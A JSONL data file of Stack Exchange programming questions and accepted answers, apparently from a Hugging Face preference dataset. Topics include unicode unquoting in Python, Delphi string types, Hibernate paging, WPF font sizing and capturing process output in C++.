{"id": "hf_7fd5273f09de", "question": "<p>I have a unicode string like \"Tanım\" which is encoded as \"Tan%u0131m\" somehow. How can i convert this encoded string back to original unicode. \nApparently urllib.unquote does not support unicode.</p>\n", "question_body": "", "answer": "```\n```\ndef unquote(text):\n    def unicode_unquoter(match):\n        return unichr(int(match.group(1),16))\n    return re.sub(r'%u([0-9a-fA-F]{4})',unicode_unquoter,text)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.872884"}
{"id": "hf_dea1f2903bbc", "question": "<p>I have an application which is fully unicode compatible in Delphi 2006. I had replaced all AnsiStrings with WideStrings, replaced all VCL controls with TNT controls, and changed all string functions from AnsiStrings to WideStrings. It looks like all that work was for nothing, because I'm going to have to reverse it all. Is there anyway to Trick Delphi 2009 into thinking Widestrings are in fact UnicodeStrings?</p>\n", "question_body": "", "answer": "No, there really isn't. But you won't regret the work to truly Unicode enable your application.\nThe TNT controls can easily be replaced with the regular VCL controls.  You can do that pretty simply using the wizard from GExperts (\nhttp://www.gexperts.org\n) that replaces one control type with another automatically.\nThen, you can change all your WideString declarations to regular strings.  String is now an alias for UnicodeString, and so all your strings can hold Unicode data just fine.\nBTW, the author of the TNT controls, Troy Wolbrink, now vastly prefers Delphi 2009 over his own controls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.894789"}
{"id": "hf_22cb070c033e", "question": "<p>Looking in the gnuwin32/bin directory, there is an odd-looking program file named <code>[.exe</code></p>\n\n<p>I couldn't find it in the documentation, gnuwin32.sourceforge.net or in a google search, so I ran it and got:</p>\n\n<pre><code>$ [\n[: missing `]'\n$\n</code></pre>\n\n<p>so I gave it ] as a parameter and got</p>\n\n<pre><code>$ [ ]\n\n$\n</code></pre>\n\n<p>It didn't complain, so I assumed it was on the right track. I tried:</p>\n\n<pre><code>$ [ hello ]\n</code></pre>\n\n<p>again, no complaints. so I tried an arithmetic expression:</p>\n\n<pre><code>$ [ 1 + 1 ]\n[: +: binary operator expected\n$\n</code></pre>\n\n<p>I tried a bunch of different combinations, including prefix &amp; postfix notation but nothing seemed to work. What does this thing do?</p>\n", "question_body": "", "answer": "```\n```\ntest a\n```\n```\n==\n```\n```\n[ a ]\n```\n```\nIt's just sugar\nEdit: To clarify, that's the conditional syntax, e.g. [ \"a\" = \"a\" ]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.941679"}
{"id": "hf_0c428408ef6e", "question": "<p>Observing one year of estimations during a project I found out some strange things that make me wonder if evidence based scheduling would work right here?</p>\n\n<ul>\n<li>individual programmers seem to have favorite numbers (e.g. 2,4,8,16,30 hours) </li>\n<li>the big tasks seem to be underestimated by a fix value (about 2) but the standard deviation is low here</li>\n<li>the small tasks (1 or 2 hours) are absolutely wide distributed. In average they have the same average underestimation factor of 2, but the standard deviation is high:\n\n<ul>\n<li>some 5 minute spelling issues are estimated with 1 hour</li>\n<li>other bugfixes are estimated with 1 hour too, but take a day</li>\n</ul></li>\n</ul>\n\n<p>So, is it really a good idea to let the programmers break down the 30 hours task down to 4 or 2 hours steps during estimations? Won't this raise the standard deviation? (Ok, let them break it down - but perhaps after the estimations?!)</p>\n", "question_body": "", "answer": "I think it is a good idea. When people break tasks down - they figure out the specifics of the task, You may get small deviations here and there, this way or the other, they may compensate or not...but you get a feeling of what is happening.\nIf you have a huge task of 30 hours - can take all 100. This is the worst that could happen.\nManage the risk - split down. You already figured out these small deviation - you know what to do with them.\nSo make sure developers also know what they do and say :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.978047"}
{"id": "hf_1f311738b9d7", "question": "<p>Why is it bad to check in lines with trailing whitespace to your source control?  What kinds of problems could that cause? </p>\n", "question_body": "", "answer": "False differences, basically. It's helpful if diffs only show \"real\" changes. Some diff programs will ignore whitespace, but it would be better just to avoid the dummy change in the first place.\nOf course, it also doesn't help if it makes the line wrap on a colleague's machine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.002491"}
{"id": "hf_29d277c995cb", "question": "<p>I'm trying to implement paging using row-based limiting (for example: <code>setFirstResult(5)</code> and <code>setMaxResults(10)</code>) on a Hibernate Criteria query that has joins to other tables.</p>\n\n<p>Understandably, data is getting cut off randomly; and the reason for that is explained <a href=\"https://developer.jboss.org/wiki/HibernateFAQ-AdvancedProblems#jive_content_id_Hibernate_does_not_return_distinct_results_for_a_query_with_outer_join_fetching_enabled_for_a_collection_even_if_I_use_the_distinct_keyword\" rel=\"noreferrer\">here</a>.</p>\n\n<p>As a solution, the page suggests using a \"second sql select\" instead of a join. </p>\n\n<p>How can I convert my existing criteria query (which has joins using <code>createAlias()</code>) to use a nested select instead?</p>\n", "question_body": "", "answer": "You can achieve the desired result by requesting a list of distinct ids instead of a list of distinct hydrated objects.\nSimply add this to your criteria:\n```\n```\ncriteria.setProjection(Projections.distinct(Projections.property(\"id\")));\n```\n```\nNow you'll get the correct number of results according to your row-based limiting. The reason this works is because the projection will perform the distinctness check\nas part of\nthe sql query, instead of what a ResultTransformer does which is to filter the results for distinctness\nafter\nthe sql query has been performed.\nWorth noting is that instead of getting a list of objects, you will now get a list of ids, which you can use to hydrate objects from hibernate later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.025468"}
{"id": "hf_12b4037a5576", "question": "<p>I am developing a .NET application which uses a few projects that I've pieced together from other internal projects.  I was thinking about merging the .exe and the DLLS into a single executable file with a tool called <a href=\"http://research.microsoft.com/~mbarnett/ilmerge.aspx\" rel=\"nofollow noreferrer\">ILMerge</a>.</p>\n\n<p>I may be sending the executable outside the company, so merging everything into a single file would be easier to pass out.  But, I was wondering if there are any downsides to merging DLLs with the executable?  </p>\n", "question_body": "", "answer": "As long as they're your libraries, I don't think there's any big problem with it. Unless it makes the image absolutely and monstrously huge, I think it's better if the executable relies on itself as much as it can (exceptions being, of course, when you're replicating system functionality... no point in that).\nOn the other hand, if the libraries don't actually belong to you, you had better make sure that their terms of use allow for this. You may not be allowed to package them up into your executable and distribute them as your own code (even if you give your product away and the library was \"free\", you may still have to acknowledge that you use it some how so make sure to check the terms of use for\nall\nthe libraries you include).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.048849"}
{"id": "hf_c5e1c0955a37", "question": "<p>From a Java program, I need to launch the default browser on a local HTML file, pointed to an anchor inside the file.  In Java SE 6, the java.awt.Desktop.browse method will open the file, but will not honor the anchor, so something like the following opens the file at the top, but does not page the browser to the anchor:</p>\n\n<pre><code>Desktop.getDesktop(\"file:///C:/foo/bar.html#anchor\");\n</code></pre>\n\n<p>Sun says here <a href=\"http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6477862\" rel=\"noreferrer\">http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6477862</a> that anchors are not supported in the file URI protocol.</p>\n\n<p>Does anyone have a better answer?</p>\n\n<p>I can use Java SE 6.  I would be OK with a Windows only solution.</p>\n", "question_body": "", "answer": "For Windows only, you could try\n```\n```\nSystem.exec(\"cmd.exe start file:///C:/foo/bar.html#anchor\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.094546"}
{"id": "hf_266d17a6ced5", "question": "<p>Is there really that much of a difference between the performance of <code>Vector</code> and <code>ArrayList</code>?  Is it good practice to use ArrayLists at all times when thread safety isn't an issue?</p>\n", "question_body": "", "answer": "If thread safety is not an issue,\n```\nArrayList\n```\nwill be faster as it does not have to synchronize.  Although, you should always declare your variable as a\n```\nList\n```\nso that the implementation can be changed later as needed.\nI prefer to handle my synchronization explicitly because a lot of operations require multiple calls.  For example:\n```\n```\nif (!myList.isEmpty()) { \n    myList.get(0);\n}\n```\n```\nshould be:\n```\n```\nsynchronized (myList) {\n   if (!myList.isEmpty()) { \n       myList.get(0);\n   }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.140183"}
{"id": "hf_86b4baa38b90", "question": "<p>Is it possible to do a cross table join in mysql spaning different tables? in different databases.</p>\n\n<p>This seem to be easily possible in MSSQL, and greatly speeds up data transfer?</p>\n\n<p>How about mysql, do you need to use a powerful IDE to achieve this? or do you have to write a program to do something like this?</p>\n\n<p>UPDATE tblUser \nSET tblUser.ReceiveInfo=old_database.dbo.contact.third_party_info_yn\nFROM tblUser inner join old_database.dbo.contact \nON old_database.dbo.contact.id=tblUser.oldid</p>\n", "question_body": "", "answer": "Sure, very easy.  Prefix the table name with the database name, like you show.  We do cross-database joins on a regular basis.  For example:\nSELECT COUNT(*) FROM newusers1.users\n  JOIN newusers2.users\nIt certainly won't speed up data transfer compared to having both tables in the same database, though.\nNow, if your tables are sitting on different database servers, the answer is no.  An example of this is if your database is too big and you need to shard your tables.  Things get more than a little messy.  But given that you seem to be happy with the MS SQL solution, that does not seem to apply here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.197542"}
{"id": "hf_88820ebdb971", "question": "<p>Is there a standard Java library that handles common file operations such as moving/copying files/folders?</p>\n", "question_body": "", "answer": "Not yet, but the\nNew NIO (JSR 203)\nwill have support for these common operations.\nIn the meantime, there are a few things to keep in mind.\nFile.renameTo\ngenerally works only on the same file system volume. I think of this as the equivalent to a \"mv\" command. Use it if you can, but for general copy and move support, you'll need to have a fallback.\nWhen a rename doesn't work you will need to actually copy the file (deleting the original with\nFile.delete\nif it's a \"move\" operation). To do this with the greatest efficiency, use the\nFileChannel.transferTo\nor\nFileChannel.transferFrom\nmethods. The implementation is platform specific, but in general, when copying from one file to another, implementations avoid transporting data back and forth between kernel and user space, yielding a big boost in efficiency.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.220148"}
{"id": "hf_eef11f7ede22", "question": "<p>I am developing a map control in WPF with C#. I am using a canvas control e.g. 400 x 200 which is assigned a map area of e.g. 2,000m x 1,000m.</p>\n\n<p>The scale of the map would be:  <strong>canvas_size_in_meters / real_size_in_meters</strong>.</p>\n\n<p>I want to find the canvas_size_in_meters.</p>\n\n<p>The canvas.ActualWidth gives the Width in DIU's (Device Independant Units). So, 400 DIU's is 400/96 = 4,17 inches, <strong>PROVIDED</strong> that the <strong>physical</strong> resolution of my monitor is 96 dpi.</p>\n\n<p>However, using a ruler, I found that the physical resolution of my monitor is 87 dpi. (There are only few monitors that ACTUALLY have 96 physical dpi)</p>\n\n<p>That DPI difference (10%) translates to a +10% difference in the actual map control width on screen.</p>\n\n<p>How do I measure the size of a WPF control in inches EXACTLY and regardless of screen resolution and DPI setting ?</p>\n", "question_body": "", "answer": "How do I measure the size of a WPF control in inches EXACTLY and regardless of screen resolution and DPI setting ?\nThis isn't actually possible, because for it to work, WPF would have to know the resolution (in terms of DPI) of your monitor. Sounds nice in theory, but in practice windows doesn't know this information. This is why windows itself always assumes 96dpi blindly instead of being smarter about it.\nEven if there were some way to manually tell it, or if your particular monitor has a custom driver that does pass the correct information to windows, this isn't going to work on anyone else's computer, so windows doesn't pass this information on to any applications.\nThe best you can do is draw a scale like google maps does. You know that 1\npixel\n== 1 mile, so you can draw a 50 pixel line on your map, with a label saying \"this line equals 50 miles\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.254401"}
{"id": "hf_cc28eb2d9942", "question": "<p>How do get the startup path ( system.windows.forms.application.StartupPath ) of my exe without adding a reference to system.windows.forms?</p>\n", "question_body": "", "answer": "EDIT: @KiwiBastard's answer is the correct method:\n```\n```\nSystem.AppDomain.CurrentDomain.BaseDirectory\n```\n```\nAdd a reference to\n```\nSystem.Reflection\n```\nand use\n```\n```\nAssembly.GetExecutingAssembly().Location\n```\n```\nEDIT: Depending where you intend getting the startup path, this might be more appropriate:\n```\n```\nAssembly.GetEntryAssembly().Location\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.277836"}
{"id": "hf_4175ffb9396b", "question": "<p>What would be a clever way to make a 'please wait' control for a Flex application for long running operations like calling a webservice.</p>\n\n<p>I am not asking about the graphical portion of it - just the 'controller' part. How should I trigger it and hide it. I am planning to make just a simple canvas with text in.</p>\n\n<p>For instance :</p>\n\n<ul>\n<li>can I somehow intercept all web service calls - and not have to activate it for every web service</li>\n<li>how should i add it to my canvas. should it be added to 'stage' as a top level component? </li>\n<li>should it have a 'cancel' button to cancel the web service request if it takes too long. that sounds kind of complicated because I'm not even sure if I can terminate a running async web request?</li>\n</ul>\n\n<p>FYI: This is for a reporting application so long running queries are to be expected</p>\n", "question_body": "", "answer": "One way I have done it in the past is to have a global integer and increment / decrement the value based on the web services running. When the counter was 0, I would hide the loading text, when it was greater than 0, I would display the loading text. Here is a simplified version of it:\n```\n```\n<mx:Application>\n    <mx:Script>\n        [Bindable]public var ws_count:int = 0;\n    </mx:Script>\n    <mx:Label text = \"loading...\" visible=\"{ws_count > 0}\" />\n</mx:Application>\n```\n```\nI then had a little helper class to control the global counter:\n```\n```\npackage ws {\n    import mx.core.Application;\n    public class WSCounter {\n        public static function sent():void {\n            Application.application.ws_count += 1;\n        }\n        public static function receive():void {\n            Application.application.ws_count -= 1;\n        }\n    }\n}\n```\n```\nThen all that needs to be done is to call the helper function when a web service is called...e.g:\n```\n```\nimport ws.WSCounter;\nimport mx.rpc.http.HTTPService;\n\nvar srv:HTTPService = new HTTPService();\nsrv.url = \"http://localhost/service.py\";\nsrv.addEventListener(ResultEvent.RESULT,function(event:ResultEvent):void {\n    WSCounter.receive();\n});\nsrv.send();\nWSCounter.sent();\n```\n```\nI always have thought there was a better way to do this, like you said have some type of hook to detect if a service is running...I'm looking forward to other responses in this post...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.334853"}
{"id": "hf_4cf78fa20a69", "question": "<p>I'm writing a direct3d application and after noticing strange bugs such as anti-aliasing occurring even when it was turned off and the mouse pointer not lining up to things with the same coordinates as itself I discovered that when creating a window the width and height parameters include the border.  The program was rendering a 800x600 graphics output to a window of the same size, but because of the borders it was squished into 792x566 rectangle.  I've increased the size of the window to compensate, but this does not work if the system uses a border style other the standard XP style.  (Classic style, for example)</p>\n\n<p>Is there a way to tell what the border width and heights will be before I create the window?</p>\n", "question_body": "", "answer": "It sounds like you are looking for the GetSystemMetrics function.  For example, the border width in pixels is returned by\n```\n```\nGetSystemMetrics(SM_CXBORDER)\n```\n```\nADDED:\nFor the total size you will need to add together the various \"pieces\" of the non-client area: border, frame sizes, title bars, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.428303"}
{"id": "hf_63c27d771d58", "question": "<p>I have seen many apps that take instrument classes and take <code>-javaagent</code> as a param when loading also put a <code>-noverify</code> to the command line.</p>\n\n<p>The Java doc says that <code>-noverify</code> turns off class verification.</p>\n\n<p>However why would anyone want to turn off verification even if they are instrumenting classes?</p>\n", "question_body": "", "answer": "Start-up time, I'd say. Verification that classes are correct takes some time when the class is loaded. Since classes might be loaded in a lazy fashion (not on app start, but when being used for the first time), this might cause unexpected and undesired runtime delays.\nActually the class does not need to be checked in general. The compiler will not emit any invalid bytecode or class construct. The reason for verification is that the class may be build on one system, get hosted online and is transmitted to you through the unprotected internet. On this path, a malicious attacker might modify the bytecode and create something the compiler might never create; something that can crash the JVM or possibly circumvents security restrictions. Thus the class is verified before it is used. If this is a local application, there is usually no need to check the bytecode again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.462628"}
{"id": "hf_6a3be83546c2", "question": "<p>I'm using a WPF RichTextBox control to input some text with user formatting capability, including font size adjustment.  The built-in commands for IncreaseFontSize and DecreaseFontSize will adjust the font size by 0.75pt each time the command is executed.  I would like to increase the granularity to 2pt.</p>\n\n<p>Can this be done without implementing my own custom commands?</p>\n", "question_body": "", "answer": "Unfortunately the value is hard-coded and you cannot change it. The fastest way to implement this is to use the TextRange class. Something like this:\n```\n```\nvar range = new TextRange( rtb.Document.ContentStart, rtb.Document.ContentEnd );\nrange.ApplyPropertyValue( TextElement.FontSizeProperty, 30.0 );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.485452"}
{"id": "hf_57eeca8dadb8", "question": "<p>How would you use set! in a simple procedure f such that evaluating (+ (f 0) (f 1)) will return 0 if the arguments to + are evaluated from left to right but will return 1 if the arguments are evaluated from right to left?</p>\n", "question_body": "", "answer": "Easiest approach is probably to store some external state and have the implementation of f affect it's contents.\n```\n```\n(define x 0)\n(define (f n) (let ((tmp x)) (set! x n) tmp))\n```\n```\nThus, x is initially 0 and each call to f will return the current value of x and save the argument as the new value of x. Thus (f 0) followed by (f 1) will both return 0, leaving the final x value of 1. While evaluating (f 1) followed by (f 0) will yield 0 then 1, with a final x of 0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.509026"}
{"id": "hf_3ef3da33f039", "question": "<p>I know I can loop over the string or build a regex or invert the set (ASCII isn't that big after all) and search for the first instance of that, but Yuck.</p>\n\n<p>What I'm looking for is a nice one liner.</p>\n\n<p>fewer features is better, LINQ is out (for me, don't ask, it's a <em>long</em> story)</p>\n\n<hr>\n\n<p>The solution I'm going with (unless I see something better)</p>\n\n<pre><code>static int FirstNotMeta(int i, string str)\n{\n    for(; i &lt; str.Length; i++)\n        switch(str[i])\n        {\n            case '\\\\':\n            case '/':\n            case '.':\n                continue;\n            default:\n                return i;\n        }\n    return -1;\n}\n</code></pre>\n\n<p>OK, I cheated, I know in advance what char's I care about.</p>\n", "question_body": "", "answer": "Not all that efficient, but:\n```\n```\nchar f(string str, IEnumerable<char> list)\n{\n  return str.ToCharArray().First(c => !list.Contains(c))\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.532076"}
{"id": "hf_3063065eed42", "question": "<p>I want to insert something into a STL list in C++, but I only have a reverse iterator. What is the usual way to accomplish this?</p>\n\n<p>This works: (of course it does)</p>\n\n<pre><code>std::list&lt;int&gt; l;\nstd::list&lt;int&gt;::iterator forward = l.begin();\nl.insert(forward, 5);\n</code></pre>\n\n<p>This doesn't work: (what should I do instead?)</p>\n\n<pre><code>std::list&lt;int&gt; l;\nstd::list&lt;int&gt;::reverse_iterator reverse = l.rbegin();\nl.insert(reverse, 10);\n</code></pre>\n", "question_body": "", "answer": "```\nl.insert(reverse.base(), 10);\n```\nwill insert '10' at the end, given your definition of the 'reverse' iterator. Actually,\n```\nl.rbegin().base() == l.end()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.555341"}
{"id": "hf_fb9a3b4cdcb8", "question": "<p>How do I launch an app and capture the output via stdout and maybe stderr?</p>\n\n<p>I am writing an automated build system and I need to capture the output to analyze. I'd like to update the svn repo and grab the revision number so I can move the files in autobuild/revNumber/ if successful. I also would like to build using make and upload the compile text to my server for everyone to see the warnings and errors on a failed build.</p>\n\n<p>I can't find the <code>system()</code> function, but I found the <code>CreateProcess()</code> function on MSDN. I am able to launch what I need but I have no idea how to capture the stderr and stdout.  I notice the process launches separately unless I set a breakpoint and keep my app exiting which it then will keep all the text in my app console window. I would also want to wait until all processes are finished and then scan the data it produced to do any additional operations I need. How do I do any of this?</p>\n", "question_body": "", "answer": "In real shells (meaning, not sea shells - I mean, not in C Shell or its derivatives), then:\n```\n```\nprogram arg1 arg2 >/tmp/log.file 2>&1\n```\n```\nThis runs program with the given arguments, and redirects the stdout to /tmp/log.file; the notation (\nhieroglyph\n) '\n```\n2>&1\n```\n' at the end sends stderr (file descriptor 2) to the same place that stdout (file descriptor 1) is going.  Note that the sequence of operations is important; if you reverse them, then standard error will go to where standard output was going, and then standard output (but not standard error) will be redirected to the file.\nThe choice of file name shown is abysmal for numerous reasons - you should allow the user to choose the directory, and probably should include the process ID or time stamp in the file name.\n```\n```\nLOG=${TMPDIR:-/tmp}/log.$$.$(date +%Y%m%d-%H%M%S)\nprogram arg1 arg2 >$LOG 2>&1\n```\n```\nIn C++, you can use the\n```\nsystem()\n```\nfunction (inherited from C) to run processes.  If you need to know the file name in the C++ program (plausible), then generate the name in the program (\n```\nstrftime()\n```\nis your friend) and create the command string with that file name.\n(Strictly, you also need\n```\ngetenv()\n```\nto get $TMPDIR, and the POSIX function\n```\ngetpid()\n```\nto get the process ID, and then you can simulate the two-line shell script (though the PID used would be of the C++ program, not the launched shell).\nYou could instead use the POSIX\n```\npopen()\n```\nfunction; you'd have to include the '\n```\n2>&1\n```\n' notation in the command string that you create to send the standard error of the command to the same place as standard output goes, but you would not need a temporary file:\n```\n```\nFILE *pp = popen(\"program arg1 arg2 2>&1\", \"r\");\n```\n```\nYou can then read off the file stream.  I'm not sure whether there's a clean way to map a C file stream into a C++ istream; there probably is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.590209"}
{"id": "hf_2a3c9d3d6998", "question": "<p>I would like to generate documentation for a RESTful web service API that is written in Python. Ideally it would look like Yahoo's RESTful web service docs. Does anyone have any ideas or references?</p>\n", "question_body": "", "answer": "Unfortunately I don't know anything specific that will help you in Python specifically -- However just as points of reference, you might take a peak at the WADL specification that the JAX-RS java spec is using --\nhttps://wadl.dev.java.net/\n-- Additionally, there is a xslt that will transform the wadl into html --\nhttp://www.mnot.net/webdesc/\nThey use the yahoo REST API's as examples.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.663833"}
{"id": "hf_05de78222ca2", "question": "<p>I'd like to know how to convert Perforce depot locations to client view locations for the purpose of script writing.</p>\n\n<p>I have a script that first checks out a file for edit in perforce and then interacts with the file.   I need to have the depot location (i.e. \\Projects\\Project6) converted to the client view location.  (i.e. d:\\Projects\\Project6).</p>\n\n<p>Is this possible?</p>\n", "question_body": "", "answer": "Check out the\n```\np4 have\n```\ncommand. You give it\neither\na depot location\nor\na client filename and it gives you the depot location, client filename,\nand\nwhat version of that file you have.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.687144"}
{"id": "hf_765c09852991", "question": "<p>I have the following code:</p>\n\n<pre><code>for attribute in site.device_attributes\n  device.attribute\nend\n</code></pre>\n\n<p>where I would like the code to substitute the value of \"attribute\" for the method name.</p>\n\n<p>I have tried <code>device.\"#{attribute}\"</code> and various permutations.</p>\n\n<p>Is this completely impossible? Am I missing something?</p>\n\n<p>I have considered overriding method_missing, but I can't figure out how that would actually help me when my problem is that I need to call an \"unknown\" method.</p>\n", "question_body": "", "answer": "The \"send\" method should do what you're looking for:\n```\n```\nobject = \"upcase me!\"\nmethod = \"upcase\"\nobject.send(method.to_sym) # => \"UPCASE ME!\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.721412"}
{"id": "hf_6eb28cf12308", "question": "<p>Right now a project I'm working on has reached a level of complexity that requires more than a few steps (actually its become arcane!) to produce a complete/usable product. And unfortunately we didn't start out with a Continuos Integration mindset, so as you can imagine its kind of painful at times, and at others I can easily waste half a day trying to get a clean/tested build.</p>\n\n<p>Anyways as any HUGE project it consists of many components in many different languages (not only enterprise style Java or C# for example), as well as many graphical, and textual resources. Now the problem is that when I look for Continuos Integration, I always find best practices and techniques that assume one is starting a new project, from the ground up.  However this isn't a new project, so I was wondering what are some good resources to proactively start migrating from Arcane Integration towards Continuos Integration :)</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "I would guess that migrating isn't really an option--Half-ass solutions will only make it worse.\nMy approach would be to take one creative engineer who understands the build process, sit him down and say \"Fix this\".  Give him a week or two.\nThe end goal would be a process that runs beginning to end with a single make command.\nI also recommend an automated \"Setup\" procedure where you simply do a checkout and run a batch file from a network share to install and build all your tools.  The amount of time this will save overall is staggering if you bring in new programmers.  Most projects take one to three days to get set up on a new computer--and it's always the \"new\" programmer who doesn't know what's going on doing the installs on his own system...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.864988"}
{"id": "hf_fb27c795021f", "question": "<p>Okay, I guess this is entirely subjective and whatnot, but I was thinking about entropy sources for random number generators. It goes that most generators are seeded with the current time, correct? Well, I was curious as to what other sources could be used to generate perfectly valid, random (The loose definition) numbers.</p>\n\n<p>Would using multiple sources (Such as time + current HDD seek time [We're being fantastical here]) together create a \"more random\" number than a single source? What are the logical limits of the amount of sources? How much is really enough? Is the time chosen simply because it is convenient?</p>\n\n<p>Excuse me if this sort of thing is not allowed, but I'm curious as to the theory behind the sources.</p>\n", "question_body": "", "answer": "Don't worry about a \"good\" seed for a random number generator.  The statistical properties of the sequence do not depend on how the generator is seeded.  There are other things, however. to worry about.  See\nPitfalls in Random Number Generation\n.\nAs for hardware random number generators, these physical sources have to be measured, and the measurement process has systematic errors. You might find \"pseudo\" random numbers to have higher quality than \"real\" random numbers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.968149"}
